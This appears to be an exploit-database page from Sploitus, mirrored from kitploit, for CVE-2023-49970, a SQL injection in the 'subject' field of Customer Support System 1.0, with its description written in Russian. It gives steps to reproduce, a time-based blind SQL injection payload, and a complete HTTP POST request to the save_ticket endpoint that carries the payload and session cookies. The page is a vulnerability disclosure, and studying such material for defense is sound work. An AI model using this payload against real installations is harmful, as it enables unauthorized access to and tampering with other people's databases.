Sploitus

Exploit for CVE-2023-49970

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN66 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49970
# CVE-2023-49970

# Customer Support System 1.0 - Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ "subject" ΠΏΡ€ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ "save_ticket"

**ОписаниС** : Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ сущСствуСт Π² вСрсии 1 Customer Support System. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ SQL-ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… MySQL ΠΏΡ€ΠΈ создании/Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Ρ‚ΠΈΠΊΠ΅Ρ‚Π° Ρ‡Π΅Ρ€Π΅Π· уязвимый ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ 'subject'.

**ВСрсия уязвимого ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°** : Customer Support System 1.0  
**Автор CVE** : Geraldo AlcΓ’ntara  
**Π”Π°Ρ‚Π°** : 28/11/2023  
**ΠŸΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΎ** : 19/12/2023  
**CVE** : CVE-2023-49970  
**ΠŸΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π½Π°** : Windows

### Π¨Π°Π³ΠΈ для воспроизвСдСния:

1- Π’ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.  
2- ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу /customer_support/index.php?page=new_ticket, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΊΠ΅Ρ‚, ΠΈΠ»ΠΈ Π½Π° /customer_support/index.php?page=ticket_list, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚ΠΈΠΊΠ΅Ρ‚.  
3- Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ‚ΠΈΠΊΠ΅Ρ‚ ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π²Ρ€Π΅Π΄ΠΎΠ½ΠΎΡΠ½ΡƒΡŽ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "subject".  
**Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ°** : some-email@example.com'+(select*from(select(sleep(2)))a)+'

### Запрос:

root@kitploit:~
    
    
    POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
    Host: 192.168.68.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
    Content-Length: 853
    Origin: http://192.168.68.148
    Connection: close
    Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
    Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
    
    -----------------------------81419250823331111993422505835
    Content-Disposition: form-data; name="id"
    
    
    -----------------------------81419250823331111993422505835
    Content-Disposition: form-data; name="subject"
    
    teste'+(select*from(select(sleep(5)))a)+'
    -----------------------------81419250823331111993422505835
    Content-Disposition: form-data; name="customer_id"
    
    3
    -----------------------------81419250823331111993422505835
    Content-Disposition: form-data; name="department_id"
    
    4
    -----------------------------81419250823331111993422505835
    Content-Disposition: form-data; name="description"
    
    <p>Blahs<br></p>
    -----------------------------81419250823331111993422505835
    Content-Disposition: form-data; name="files"; filename=""
    Content-Type: application/octet-stream
    
    
    -----------------------------81419250823331111993422505835--